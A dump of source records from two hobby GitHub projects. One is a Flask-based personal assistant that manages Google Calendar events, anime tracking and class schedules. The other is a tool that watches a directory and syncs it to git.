URL))\n animeLoop.setDaemon(True)\n animeLoop.start()\n\n #Class Scheduler\n autoMode = input('Do you want to run class scheduler in auto mode...!? y/n')\n if autoMode == 'n':\n autoMode = False\n else:\n autoMode = True\n classScheduleLoop = threading.Thread(target = ClassScheduler, args = (URL, autoMode))\n classScheduleLoop.setDaemon(True)\n classScheduleLoop.start()\n\n\n # while scheduleLoop.is_alive() and animeLoop.is_alive() and classScheduleLoop.is_alive():\n # print('Kurisu runnning!')\n # time.sleep(60)\n while animeLoop.is_alive() and classScheduleLoop.is_alive():\n print('Kurisu runnning!')\n time.sleep(60)\n \n\n \n" }, { "alpha_fraction": 0.661044180393219, "alphanum_fraction": 0.6634538173675537, "avg_line_length": 21.23214340209961, "blob_id": "e3891e1fecad11fdfab711f0f70694b2813161d8", "content_id": "77ea3d2209f316e0c6ad1386ae9d4834228792e5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2490, "license_type": "no_license", "max_line_length": 314, "num_lines": 112, "path": "/README.md", "repo_name": "sndev28/Kurisu-Virtual-Assistant", "src_encoding": "UTF-8", "text": "# Kurisu Virtual Assistant\n\nA virtual assistant to manage my schedules and random stuff. Backend written in python and UI in dart.\n\n \n \n\n### _Features_\n\n \n\n```\n\nDaily schedule manager in connection with Google Calendar\n\nAnime tracker\n\nOnline class launcher\n\n```\n\n \n \n \n\n### _Agenda_\n\n \n\n```\n\nYoutube tracker\n\n\n```\n\n \n\n### _Nomenclature_\n\n \n\n| Name | Usage |\n| ------ | ------ |\n| Amadeus | Server code for the assistant |\n| Kurisu | Windows UI client app |\n| Christina | Android client app |\n\n \n\n### _Instructions to setup_\n\nComing soon...\n\n \n\n### _Amadeus API Reference_\n\n \n\n**Schedule Manager**\n\nEndpoint : schedules \n\n| Method | Response |\n| ------ | ------ |\n| GET | Retrieves Google Calendar |\n| POST | Retrieves events based on criteria.<br>Criteria to be sent in the body under **'criterion'**.<br>**Available criterias** : 'all', 'today', 'upcoming' |\n| PUT | Creates new event.<br>**Data to be sent** : 'summary', 'description', 'eventStartTime', 'eventEndTime', 'utcoffset'<br>Note that **eventStartTime** and **eventEndTime** have to be sent in the format 'yyyy-mm-ddThh:mm:ss'(**Note**: The 'T' is a placeholder and is compulsory). **utcoffset** format '+hh:mm'|\n| DELETE | Deletes an event using event ID. Data to be sent : 'id' |\n\n \n<br><br>\n**Anime Tracker**\n\nEndpoint : animetracker\n\n| Method | Response |\n| ------ | ------ |\n| GET | Retrieves tracking anime list based on criteria. <br>Criteria to be sent in the body under **'criterion'**.<br>**Available criterias** : 'tracking', 'recentAired'. 'recentAired' returns tracking anime aired in past 24 hours and 'tracking' returns all anime being tracked|\n| POST | Adds anime to be tracked.<br>**Data to be sent** : 'id', 'name', 'posterLink' <br>Note that **id** is the ID of the anime returned through PUT or GET|\n| PUT | Returns list of anime based on search query.<br>**Data to be sent** : 'searchQuery'|\n| DELETE | Deletes an anime being tracked.<br>**Data to be sent** : 'id' <br>Note that **id** is the ID of the anime returned through PUT or GET |\n \n \n \n\n### _License_\n\n \n\n```\n\nOpen to anyone to copy, modify and use as they see fit with proper credits to the coder.\n\n```\n\n \n\n### _Suggestions or Issues_\n\n \n\nUse issues to raise any issues and use this [form](https://forms.gle/W6igzbXRw9yV7onc6 \"Google Form\") to give suggestions on improving/for new features.\n\n \n\n### _After Notes_\n\n \n\nConsider following me to get notified of my latest projects. Stay tuned for the exciting stuff to come..!!\n" }, { "alpha_fraction": 0.5566767454147339, "alphanum_fraction": 0.5600403547286987, "avg_line_length": 24.629310607910156, "blob_id": "c7b1dfc0a48efc13b597ab9642435ea0a3dd3350", "content_id": "e57f7f14cf42406b5fa7f72ba465e731750e56f8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2973, "license_type": "no_license", "max_line_length": 83, "num_lines": 116, "path": "/amadeus/animeTracker/animeTracker.py", "repo_name": "sndev28/Kurisu-Virtual-Assistant", "src_encoding": "UTF-8", "text": "import pickle\nimport feedparser\nimport json\nimport requests\nfrom bs4 import BeautifulSoup\n\n\n\n\nclass Anime:\n def __init__(self, name, posterLink, id):\n self.name = name\n self.posterLink = posterLink\n self.id = id\n\n def toJSON(self):\n return {'id' : self.id, 'name' : self.name, 'posterLink' : self.posterLink}\n\n\nclass AnimeTracker:\n def __init__(self, ANIME_DATABASE):\n self.ANIME_DATABASE = ANIME_DATABASE\n self.animeRepo = pickle.load(open(ANIME_DATABASE, 'rb'))\n self.feed_url = 'https://www.livechart.me/feeds/episodes'\n self.imageBaseLink = 'https://cdn.myanimelist.net/images/anime/'\n self.baseLink = 'https://myanimelist.net/anime.php?cat=anime&q='\n\n \n def allTracking(self):\n return [anime.toJSON() for anime in self.animeRepo]\n\n\n def new(self, id, name, posterLink):\n newEntry = Anime(id, name, posterLink)\n self.animeRepo.append(newEntry)\n pickle.dump(self.animeRepo, open(self.ANIME_DATABASE, 'wb'))\n\n\n def remove(self, id):\n for anime in self.animeRepo:\n if anime.id == id:\n self.animeRepo.remove(anime)\n pickle.dump(self.animeRepo, open(self.ANIME_DATABASE, 'wb'))\n break\n \n\n def track(self):\n feed = feedparser.parse(self.feed_url)\n recentAired = []\n\n for entry in feed.entries:\n for anime in self.animeRepo:\n if anime.name in entry.title:\n recentAired.append(anime.toJSON())\n\n return recentAired\n \n\n def search(self, searchQuery):\n searchQuery = searchQuery.replace(' ', '+')\n searchQueryLink = self.baseLink + searchQuery\n\n query = requests.get(searchQueryLink)\n\n page = BeautifulSoup(query.text, 'lxml')\n\n table = page.find_all('table')[-1]\n\n queryResult = []\n \n try:\n searchResults = table.find_all('tr')[1:] \n \n if len(searchResults) > 11:\n searchResults = searchResults[:10] \n\n for searchResult in searchResults:\n name = searchResult.find('strong').text\n try:\n posterLink = searchResult.find('img')['data-srcset']\n linkParts = posterLink.split('anime/')\n finalLink = self.imageBaseLink + linkParts[1].split('?')[0]\n except:\n posterLink = 'Not Available' \n\n queryResult.append({'name':name,'posterLink':finalLink})\n\n except:\n return []\n\n\n return queryResult\n\n\n\n\n\n\n\n \n\n \n \n\nif __name__ == '__main__':\n tracker = AnimeTracker()\n # tracker.new('Mairimashita! Iruma-kun 2nd Season', 'meh')\n # print(tracker.track())\n # print(type(tracker.track()))\n\n # while(True):\n query = 'bokutachi'\n print(tracker.search(query))\n\n\n # print(tracker.animeRepo)\n" }, { "alpha_fraction": 0.5225015878677368, "alphanum_fraction": 0.5246143937110901, "avg_line_length": 30.013158798217773, "blob_id": "4bdd949f8655c6e30ff5235f974a68a513de6a17", "content_id": "7a3533257b58e8625f329caef90de9d0133116bf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4733, "license_type": "no_license", "max_line_length": 103, "num_lines": 152, "path": "/amadeus/scheduleManager/scheduleManager.py", "repo_name": "sndev28/Kurisu-Virtual-Assistant", "src_encoding": "UTF-8", "text": "from googleapiclient.discovery import build\nimport pickle\nfrom datetime import datetime, timedelta\n\n\nclass ScheduleManager:\n\n def __init__(self, token):\n self.credentials = pickle.load(open(token, 'rb')) #Google credentials\n self.service = build('calendar', 'v3', credentials = self.credentials)\n\n\n def retrieveCalendar(self):\n self.calendar = self.service.calendars().get(calendarId='primary').execute()\n return self.calendar\n\n\n def retrieveEvents(self):\n self.events = []\n page_token = None\n\n while True:\n events = self.service.events().list(calendarId='primary', pageToken=page_token).execute()\n for event in events['items']:\n self.events.append(event)\n page_token = events.get('nextPageToken')\n if not page_token:\n break\n\n\n def retrieveSimpleEvents(self, criterion):\n\n if criterion == None:\n criterion = 'today'\n\n\n self.retrieveEvents()\n\n current = datetime.today()\n today = datetime(current.year, current.month, current.day)\n\n nextday = datetime.now()+timedelta(1)\n tomorrow = datetime(nextday.year, nextday.month, nextday.day)\n\n work = []\n\n def addToWork(event):\n simplifiedEvent = {}\n\n try:\n simplifiedEvent['id'] = event['id']\n except:\n pass\n\n try:\n simplifiedEvent['summary'] = event['summary']\n except:\n pass\n\n try:\n simplifiedEvent['description'] = event['description']\n except:\n pass\n\n try:\n simplifiedEvent['start'] = event['start']\n except:\n pass\n\n try:\n simplifiedEvent['end'] = event['end']\n except:\n pass\n\n return simplifiedEvent\n\n if criterion == 'today':\n for event in self.events:\n try:\n eventTime = datetime.strptime(event['start']['dateTime'][:-6], '%Y-%m-%dT%H:%M:%S')\n except KeyError:\n try:\n eventTime = datetime.strptime(event['start']['date'], '%Y-%m-%d')\n except Exception as error:\n print(error)\n except Exception as error:\n print(error)\n\n if(eventTime >= today and eventTime < tomorrow):\n work.append(addToWork(event))\n\n elif criterion == 'upcoming':\n for event in self.events:\n try:\n eventTime = datetime.strptime(event['start']['dateTime'][:-6], '%Y-%m-%dT%H:%M:%S')\n except KeyError:\n try:\n eventTime = datetime.strptime(event['start']['date'], '%Y-%m-%d')\n except Exception as error:\n print(error)\n except Exception as error:\n print(error)\n if(eventTime >= today):\n work.append(addToWork(event))\n\n else:\n for event in self.events:\n work.append(addToWork(event))\n\n return work\n\n\n def addEvent(self, summary, description, eventStartTime, eventEndTime, utcoffset):\n\n # parsedStartDateTime = eventStartTime.strftime('%Y-%m-%dT%H:%M:%S') + utcoffset\n # parsedEndDateTime = eventEndTime.strftime('%Y-%m-%dT%H:%M:%S') + utcoffset\n parsedStartDateTime = eventStartTime + utcoffset\n parsedEndDateTime = eventEndTime + utcoffset\n\n newEvent = {\n 'summary': summary,\n 'description': description,\n 'start': {\n 'dateTime': parsedStartDateTime,\n },\n 'end': {\n 'dateTime': parsedEndDateTime,\n }, \n }\n\n event = self.service.events().insert(calendarId='primary', body=newEvent).execute()\n\n\n def deleteEvent(self, eventID):\n self.service.events().delete(calendarId='primary', eventId=eventID).execute()\n\n\nif __name__ == '__main__':\n token = '../resources/token.pkl'\n manager = ScheduleManager(token)\n events = manager.retrieveSimpleEvents(criterion='all')\n for event in events:\n print(event)\n print(len(events))\n\n # current = datetime.today()\n # today = datetime(current.year, current.month, current.day)\n\n # nextday = datetime.now()+timedelta(1)\n # tomorrow = datetime(nextday.year, nextday.month, nextday.day)\n\n # manager.addEvent('test1', 'this is a test', current, tomorrow, '+05:30')\n\n\n\n \n \n\n\n\n" }, { "alpha_fraction": 0.5275519490242004, "alphanum_fraction": 0.5338753461837769, "avg_line_length": 32.32307815551758, "blob_id": "13969045f4d096d1d95f0f46e6312543c5bd84d1", "content_id": "bf41b609701615eb095020686f64baa20b118c56", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2216, "license_type": "no_license", "max_line_length": 109, "num_lines": 65, "path": "/kurisu/Notification Manager/scheduleManager/scheduleManager.py", "repo_name": "sndev28/Kurisu-Virtual-Assistant", "src_encoding": "UTF-8", "text": "import requests\nfrom datetime import datetime\nimport time\n\ndef getEvents(URL):\n print('Getting events!')\n BASE_URL = URL + 'schedules'\n response = requests.post(BASE_URL, data = {'criterion':'today'})\n if response.status_code == 200:\n return response.json()['events']\n\ndef ScheduleManager(toast, URL):\n\n REFRESH_TIME = 5 * 60 # min * sec refresh time in seconds\n\n checkedTime = datetime.now()\n events = getEvents(URL)\n\n print('Schedule Manager ready!')\n\n while True:\n currentTime = datetime.now()\n\n if currentTime.hour == 0 and currentTime.min <= 6:\n events = getEvents(URL)\n\n timePassed = currentTime - checkedTime\n if timePassed.seconds >= REFRESH_TIME:\n events = getEvents(URL)\n checkedTime = datetime.now()\n\n notifiedEvents = []\n notificationMessage = 'Event reminders : \\n'\n newNotifications = False\n\n if events == None:\n events = []\n\n for event in events:\n try:\n eventStartTime = datetime.strptime(event['start']['dateTime'][:-6], '%Y-%m-%dT%H:%M:%S')\n eventEndTime = datetime.strptime(event['end']['dateTime'][:-6], '%Y-%m-%dT%H:%M:%S')\n\n except KeyError:\n try:\n eventStartTime = datetime.strptime(event['start']['date'], '%Y-%m-%d') \n eventEndTime = datetime.strptime(event['end']['date'], '%Y-%m-%d')\n except Exception as error:\n print(error)\n except Exception as error:\n print(error)\n continue\n \n if datetime.now() >= eventStartTime and datetime.now() <= eventEndTime:\n if event['summary'] not in notifiedEvents:\n newNotifications = True\n notifiedEvents.append(event['summary'])\n notificationMessage += '• ' + event['summary'] + '\\n'\n\n \n if newNotifications:\n toast.show_toast(title = 'Kurisu', msg = notificationMessage, duration = 10)\n newNotifications = False\n\n time.sleep(59)\n\n\n\n\n\n\n\n \n \n\n\n\n \n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.6395701169967651, "alphanum_fraction": 0.6515288949012756, "avg_line_length": 30.150943756103516, "blob_id": "509e88ca514a77c0f68bfb5bf05c78c66f073c40", "content_id": "b27fec8c48236f0c85fa51dcc2629539876fd6f8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6606, "license_type": "no_license", "max_line_length": 192, "num_lines": 212, "path": "/amadeus/amadeus.py", "repo_name": "sndev28/Kurisu-Virtual-Assistant", "src_encoding": "UTF-8", "text": "from flask import Flask, request\nfrom flask_restful import Api, Resource, reqparse, abort\nfrom flask_cors import CORS\n\n\n\n#Setup\n\napp = Flask(__name__)\nCORS(app)\napi = Api(app)\n\n\n#Modules\n\n## TO REMOVE ANY MODULE, COMMENT/REMOVE THE CORRESPONDING SECTION (eg. To remove the anime tracker module, comment out or delete eveything between the '# Anime Tracker' and '# Class Schedule')\n\n\n# Schedule Manager\n\nfrom scheduleManager.scheduleManager import ScheduleManager\nGOOGLE_AUTH_TOKEN = 'resources/token.pkl'\nschedule_manager = ScheduleManager(GOOGLE_AUTH_TOKEN)\n\n\nscheduleManagerArgs = reqparse.RequestParser()\nscheduleManagerArgs.add_argument('criterion', type = str, help = 'Crtierion not sent')\nscheduleManagerArgs.add_argument('summary', type = str, help = 'summary not sent')\nscheduleManagerArgs.add_argument('description', type = str, help = 'description not sent')\nscheduleManagerArgs.add_argument('eventStartTime', type = str, help = 'eventStartTime not sent')\nscheduleManagerArgs.add_argument('eventEndTime', type = str, help = 'eventEndTime not sent')\nscheduleManagerArgs.add_argument('utcoffset', type = str, help = 'utcoffset not sent')\nscheduleManagerArgs.add_argument('id', type = str, help = 'Event id not sent')\n\n\nclass ScheduleManagerAPI(Resource):\n\n #Commented api requests are working but not implemented. To be implemented once an authorization system has been setup\n\n def get(self): #Receieve calendar\n return {'calendar': schedule_manager.retrieveCalendar()}, 200\n \n\n def post(self): #Recieve events\n args = scheduleManagerArgs.parse_args()\n listOfEvents = schedule_manager.retrieveSimpleEvents(criterion = args.get('criterion'))\n return {'events' : listOfEvents}, 200\n\n def options(self):\n print('Options handled!')\n return 200\n\n def put(self):\n args = scheduleManagerArgs.parse_args()\n\n if args.get('summary') == None or args.get('description') == None or args.get('eventStartTime') == None or args.get('eventEndTime') == None or args.get('utcoffset') == None:\n abort(422, 'Not enough data!')\n\n try:\n schedule_manager.addEvent(args.get('summary'), args.get('description'), args.get('eventStartTime'), args.get('eventEndTime'), args.get('utcoffset'))\n except Exception as e:\n print(e)\n abort(409, message = 'Error in given data!')\n \n return 200\n\n def delete(self):\n args = scheduleManagerArgs.parse_args()\n\n if args.get('id') == None:\n abort(422, 'Event id not provided!')\n\n try:\n schedule_manager.deleteEvent(args.get('id'))\n except:\n abort(409, message = 'Error in given data!') \n\n return 200\n \n\n \n\napi.add_resource(ScheduleManagerAPI, '/schedules')\n\n\n\n# Anime Tracker\n\nfrom animeTracker.animeTracker import AnimeTracker, Anime\nANIME_DATABASE = 'resources/animeRepo.pkl'\nanime_tracker = AnimeTracker(ANIME_DATABASE)\n\n\nanimeTrackerArgs = reqparse.RequestParser()\nanimeTrackerArgs.add_argument('id', type = str, help = 'No ID sent!')\nanimeTrackerArgs.add_argument('name', type = str, help = 'No name sent!')\nanimeTrackerArgs.add_argument('posterLink', type = str, help = 'No poster link sent!')\nanimeTrackerArgs.add_argument('searchQuery', type = str, help = 'Search query not sent!')\n\n\n\nclass AnimeTrackerAPI(Resource):\n\n def get(self): #Recently aired episodes\n try:\n if request.headers.get('criterion') == 'recentAired':\n return {'recentAired': anime_tracker.track()}, 200\n else:\n return {'tracking': anime_tracker.allTracking()}, 200\n except Exception as e:\n print(e)\n abort(404, message = 'Error retrieving recently aired! Contact developer!')\n\n def post(self): #New additions\n args = animeTrackerArgs.parse_args()\n \n if args.get('name') == None or args.get('posterLink') == None or args.get('id') == None:\n abort(404, 'Not enough information! Please send id, name and posterlink!')\n\n try:\n anime_tracker.new(args.get('id'), args.get('name'), args.get('posterLink'))\n except Exception as e:\n print(e)\n abort(409, message = 'Error in given data!')\n\n return 200\n\n def delete(self): #delete tracking anime\n args = animeTrackerArgs.parse_args()\n \n if args.get('id') == None:\n abort(404, 'Not enough information! Please send id!')\n \n try:\n anime_tracker.remove(args.get('id'))\n except Exception as e:\n print(e)\n abort(409, message = 'Error in given data!')\n\n return 200\n\n def put(self):\n args = animeTrackerArgs.parse_args()\n \n if args.get('searchQuery') == None:\n abort(404, 'Not enough information! Please send search query!')\n \n try:\n queryResult = anime_tracker.search(args.get('searchQuery'))\n except Exception as e:\n print(e)\n abort(409, message = 'Error in given data!')\n\n return {'queryResult':queryResult}, 200\n\n\n\napi.add_resource(AnimeTrackerAPI, '/animetracker')\n\n \n\n\n# Class Schedule\n\nfrom classSchedule.classSchedule import ClassSchedule\nSCHEDULE_DATABASE = 'resources/schedule.pkl'\nclass_schedule = ClassSchedule(SCHEDULE_DATABASE)\n\n\nclassScheduleArgs = reqparse.RequestParser() \nclassScheduleArgs.add_argument('day', type = str, help = 'Day not sent!')\nclassScheduleArgs.add_argument('subject', type = str, help = 'Subject not sent!')\nclassScheduleArgs.add_argument('startTime', type = str, help = 'Start time not sent!')\nclassScheduleArgs.add_argument('endTime', type = str, help = 'End time not sent!')\nclassScheduleArgs.add_argument('link', type = str, help = 'Link not sent!')\n\n\nclass ClassScheduleAPI(Resource):\n def get(self):\n return class_schedule.retrieveTimetable(), 200\n\n def post(self):\n args = classScheduleArgs.parse_args()\n class_schedule.addClass(args['day'], args['subject'], args['startTime'], args['endTime'], args['link'])\n return 200\n\n def put(self):\n args = classScheduleArgs.parse_args()\n return { args['day'] : class_schedule.retrieveSchedule(args['day'])}, 200\n\n def delete(self):\n args = classScheduleArgs.parse_args()\n class_schedule.deleteClass(args['day'], args['subject'], args['startTime'])\n return 200\n\n\n\napi.add_resource(ClassScheduleAPI, '/classSchedules')\n\n\n\n\n\n\n\n\n\n\n\n\nif __name__ == '__main__':\n app.run(debug = True, host = '0.0.0.0')\n\n\n" }, { "alpha_fraction": 0.6085663437843323, "alphanum_fraction": 0.6085663437843323, "avg_line_length": 35.5217399597168, "blob_id": "a95bbf70ce43e651a3f3913ee855af2ca4af3d51", "content_id": "2ce80b796addd6acc00716ce12714954616c475e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1681, "license_type": "no_license", "max_line_length": 145, "num_lines": 46, "path": "/amadeus/classSchedule/classSchedule.py", "repo_name": "sndev28/Kurisu-Virtual-Assistant", "src_encoding": "UTF-8", "text": "import pickle\nfrom datetime import time\n\n\nclass ClassSchedule:\n def __init__(self,SCHEDULE_DATABASE):\n self.SCHEDULE_DATABASE = SCHEDULE_DATABASE\n self.timetable = pickle.load(open(SCHEDULE_DATABASE, 'rb'))\n\n\n def addClass(self, day, subject, startTime, endTime, link):\n startHour, startMinute = startTime.split(':')\n startTimeObject = time(hour = int(startHour), minute = int(startMinute))\n flag = False\n for index, item in enumerate(self.timetable[day]):\n itemStartHour, itemStartMinute = item['startTime'].split(':')\n itemTimeObject = time(hour = int(itemStartHour), minute = int(itemStartMinute))\n\n if itemTimeObject > startTimeObject:\n self.timetable[day].insert(index, {'day': day, 'subject' : subject, 'startTime' : startTime, 'endTime' : endTime, 'link' : link})\n flag = True\n break\n\n if flag == False:\n self.timetable[day].append({'day': day, 'subject' : subject, 'startTime' : startTime, 'endTime' : endTime, 'link' : link})\n\n \n pickle.dump(self.timetable, open(self.SCHEDULE_DATABASE, 'wb'))\n\n\n def deleteClass(self, day, subject, startTime):\n flag = False\n for item in self.timetable[day]:\n if item['subject'] == subject and item['startTime'] == startTime:\n self.timetable[day].remove(item)\n flag = True\n\n if flag == True:\n pickle.dump(self.timetable, open(self.SCHEDULE_DATABASE, 'wb'))\n \n\n def retrieveSchedule(self, day):\n return self.timetable[day]\n\n def retrieveTimetable(self):\n return self.timetable\n\n" } ]
9
konker/syncilainen
https://github.com/konker/syncilainen
f35513591171851758aedaf84c7f4a9b35d130b1
04b74608852ad884f01f3e147abf2275bb44b51c
dcc014d770d50f74b5f40c8237990ef27d64a9cb
refs/heads/master
2020-04-05T23:16:36.727493
2012-05-29T11:43:18
2012-05-29T11:43:18
2,871,128
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7274436354637146, "alphanum_fraction": 0.7293233275413513, "avg_line_length": 20.239999771118164, "blob_id": "7cc4e184887c68fec6eedfab2aca855b091a8d67", "content_id": "decbb816da54b4d8172daf9fb859714ed502ce94", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 532, "license_type": "permissive", "max_line_length": 60, "num_lines": 25, "path": "/watcher/__init__.py", "repo_name": "konker/syncilainen", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n#\n# watcher\n# \n# Dynamically loads a EventWatcher interface implementation\n#\n# Authors: Konrad Markus <[email protected]>\n#\n\nclass UnknownWatcherException(Exception): pass\n\ntry:\n from impl.fsevent import EventWatcherImpl, EventImpl\nexcept ImportError:\n try:\n from impl.inotify import EventWatcherImpl, EventImpl\n except ImportError:\n raise UnknownWatcherException()\n\n\ndef Event(event):\n return EventImpl(event)\n\ndef EventWatcher(action):\n return EventWatcherImpl(action.watch_directory, action)\n\n" }, { "alpha_fraction": 0.619313657283783, "alphanum_fraction": 0.6256983280181885, "avg_line_length": 29.439023971557617, "blob_id": "b7a381bd3400fa98b6d2ee56524710c79e101217", "content_id": "9a20a08d7e1819df9adf0b10426a46307fd732e3", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1253, "license_type": "permissive", "max_line_length": 116, "num_lines": 41, "path": "/notifier/impl/growlnotify.py", "repo_name": "konker/syncilainen", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n#\n# watcher.impl.growlnotify\n# \n# growlnotify implementation of the Notifier interface (Mac OS X)\n#\n# Authors: Konrad Markus <[email protected]>\n#\n\nimport logging\nimport subprocess\nfrom shell.cmd import exec_cmd, exec_cmd_out\n\n# try to locate the growlnotify command line tool, or raise ImportError\nGROWLNOTIFY = exec_cmd_out(\"which growlnotify\").strip()\nif GROWLNOTIFY == '':\n raise ImportError()\n\nNORMAL_LEVEL_IMPL = 0\nERROR_LEVEL_IMPL = 1\n\nclass NotifierImpl(object):\n def __init__(self, title, disable_after_n_errors=-1):\n self.title = title\n self.disable_after_n_errors = disable_after_n_errors\n self._consecutive_errors = 0\n logging.info(\"Using Notifier: %s\" % GROWLNOTIFY)\n\n def notify(self, message, level=NORMAL_LEVEL_IMPL):\n if message == \"\":\n return\n\n if level == ERROR_LEVEL_IMPL:\n self._consecutive_errors = self._consecutive_errors + 1\n else:\n self._consecutive_errors = 0\n\n if self.disable_after_n_errors > 0:\n if self._consecutive_errors < self.disable_after_n_errors:\n cmd = \"%s --message \\\"%s\\\" --priority %d --title \\\"%s\\\"\" % (GROWLNOTIFY, message, level, self.title)\n exec_cmd(cmd)\n \n" }, { "alpha_fraction": 0.5329418182373047, "alphanum_fraction": 0.538998007774353, "avg_line_length": 30.131427764892578, "blob_id": "9a9bb1670934113bda14af22864eeee65ded95b8", "content_id": "cd33542d89bc12216e06d68c3265c746ed494371", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5449, "license_type": "permissive", "max_line_length": 98, "num_lines": 175, "path": "/vcs/impl/git.py", "repo_name": "konker/syncilainen", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n#\n# vcs.impl.git\n#\n# Wrapper around the git command\n#\n# Authors: Konrad Markus <[email protected]>\n#\n\nimport logging\nimport os.path\nimport shutil\nimport time\nimport subprocess\nfrom shell.cmd import exec_cmd, exec_cmd_out\nfrom vcs import OK, NOT_OK\n\n# try to locate the git command line tool, or raise ImportError\nGIT = exec_cmd_out(\"which git\").strip()\nif GIT == '':\n raise ImportError()\n\n\nclass VCSImpl(object):\n def __init__(self, repo_directory):\n self.repo_directory = repo_directory\n self.ignore_path = os.path.join(repo_directory, '.git')\n logging.info(\"Using VCS: git\")\n\n def status(self):\n cmd = \"%s status --porcelain -uall\" % GIT\n stdout,stderr = exec_cmd(cmd, self.repo_directory)\n return self._parse_status(stdout, stderr)\n\n def add(self, filename='.'):\n cmd = \"%s add %s\" % (GIT, filename)\n stdout,stderr = exec_cmd(cmd, self.repo_directory)\n if (stderr != ''):\n return NOT_OK,stderr\n\n return OK,stdout\n\n def commit(self, message):\n cmd = \"%s commit -m \\\"%s\\\"\" % (GIT, message)\n stdout,stderr = exec_cmd(cmd, self.repo_directory)\n if (stderr != ''):\n return NOT_OK,stderr\n\n return OK,stdout\n\n def commit_all(self, message):\n cmd = \"%s commit --all -m \\\"%s\\\"\" % (GIT, message)\n stdout,stderr = exec_cmd(cmd, self.repo_directory)\n if (stderr != ''):\n return NOT_OK,stderr\n\n return OK,stdout\n\n def fetch(self):\n cmd = \"%s fetch\" % GIT\n stdout,stderr = exec_cmd(cmd, self.repo_directory)\n if (stderr != ''):\n return NOT_OK,stderr\n\n return OK,stdout\n\n def merge(self, remote='origin', branch='master'):\n cmd = \"%s merge %s/%s\" % (GIT, remote, branch)\n stdout,stderr = exec_cmd(cmd, self.repo_directory)\n if ('CONFLICT' in stdout):\n return NOT_OK, stdout\n\n return OK,stdout\n\n def get_unmerged(self):\n cmd = \"%s ls-files -u\" % GIT\n stdout,stderr = exec_cmd(cmd, self.repo_directory)\n return self._parse_ls_files(stdout, stderr)\n\n def save_theirs(self, unmerged, id):\n # checkout \"theirs\" and move to a temporary file\n cmd = \"%s checkout --theirs %s\" % (GIT, unmerged[2][3])\n stdout,stderr = exec_cmd(cmd, self.repo_directory)\n if (stderr != ''):\n return NOT_OK,stderr\n\n src = os.path.join(self.repo_directory, unmerged[2][3])\n dst = os.path.join(self.repo_directory, \"%s.%s.%s\" % (id, unmerged[2][1], unmerged[2][3]))\n logging.debug(\"move: %s -> %s\" % (src, dst))\n shutil.move(src, dst)\n \n return OK,\"\"\n\n def force_ours(self, unmerged):\n # checkout \"ours\"\n cmd = \"%s checkout --ours %s\" % (GIT, unmerged[1][3])\n stdout,stderr = exec_cmd(cmd, self.repo_directory)\n if (stderr != ''):\n return NOT_OK,stderr\n\n return OK,stdout\n\n def pull(self, remote='origin', branch='master'):\n cmd = \"%s pull --ff-only %s %s\" % (GIT, remote, branch)\n stdout,stderr = exec_cmd(cmd, self.repo_directory)\n if ('error' in stdout):\n return NOT_OK,stdout\n\n return OK,stdout\n\n def push(self, remote='origin', branch='master'):\n cmd = \"%s push --porcelain %s %s\" % (GIT, remote, branch)\n stdout,stderr = exec_cmd(cmd, self.repo_directory)\n if ('[rejected]' in stdout or 'fatal' in stderr):\n return NOT_OK,stdout\n\n return OK,stdout\n\n def _parse_status(self, stdout, stderr):\n ret = []\n for f in stdout.split(\"\\n\"):\n if not f == '':\n ret.append(tuple(f.split()))\n return ret\n\n def _parse_ls_files(self, stdout, stderr):\n ret = []\n for f in stdout.split(\"\\n\"):\n if not f == '':\n ret.append(tuple(f.split()))\n\n # split into groups of 3\n return [ret[i:i+3] for i in range(0, len(ret), 3)]\n\n '''\n def handle_conflict(self):\n print(\"CONFLICT!!!:\")\n # fetch state from remote\n cmd = \"%s fetch\" % GIT\n stdout,stderr = exec_cmd(cmd, self.repo_directory)\n if (stderr != ''):\n return NOT_OK,stderr\n\n # check for unmerged files\n cmd = \"%s ls-files -u\" % GIT\n stdout,stderr = exec_cmd(cmd, self.repo_directory)\n ls_files = self._parse_ls_files(stdout, stderr)\n print(ls_files)\n if len(ls_files) >= 3 and len(ls_files[2]) >= 4:\n # copy 3 (\"their's\") to a temporary file\n cmd = \"%s show %s > %s.%s\" % (GIT, ls_files[2][1], ls_files[2][1], ls_files[2][3])\n stdout,stderr = exec_cmd(cmd, self.repo_directory)\n if (stderr != ''):\n return NOT_OK,stderr\n\n # checkout \"our's\"\n cmd = \"%s checkout --ours %s\" % (GIT, ls_files[2][3])\n stdout,stderr = exec_cmd(cmd, self.repo_directory)\n if (stderr != ''):\n return NOT_OK,stderr\n\n # add and commit \"our's\"\n code,message = self.add(ls_files[2][3])\n if (code != OK):\n return code,message\n\n # push\n code,message = self.push()\n if (code != OK):\n return code,message\n\n return OK,\"Conflict found. File renamed to: %s.%s\" % (ls_files[2][1], ls_files[2][3])\n\n return OK,\"No conflict detected\"\n '''\n\n" }, { "alpha_fraction": 0.5821674466133118, "alphanum_fraction": 0.5838379859924316, "avg_line_length": 25.893259048461914, "blob_id": "7ce383cd62ed7478aae84e45885a0a2bed1d3a93", "content_id": "3b26e052e69b20b92591c7c4b3469017dfb8584f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4789, "license_type": "permissive", "max_line_length": 153, "num_lines": 178, "path": "/syncilainen.py", "repo_name": "konker/syncilainen", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\n# -*- coding: utf-8 -*-\n#\n# syncilainen\n# \n# Monitor a pre-configured directory for changes and then synch\n# automatically to a pre-configured version control respository.\n#\n# Authors: Konrad Markus <[email protected]>\n#\n\nimport pathhack\n\nimport sys\nimport time\nimport signal\nimport 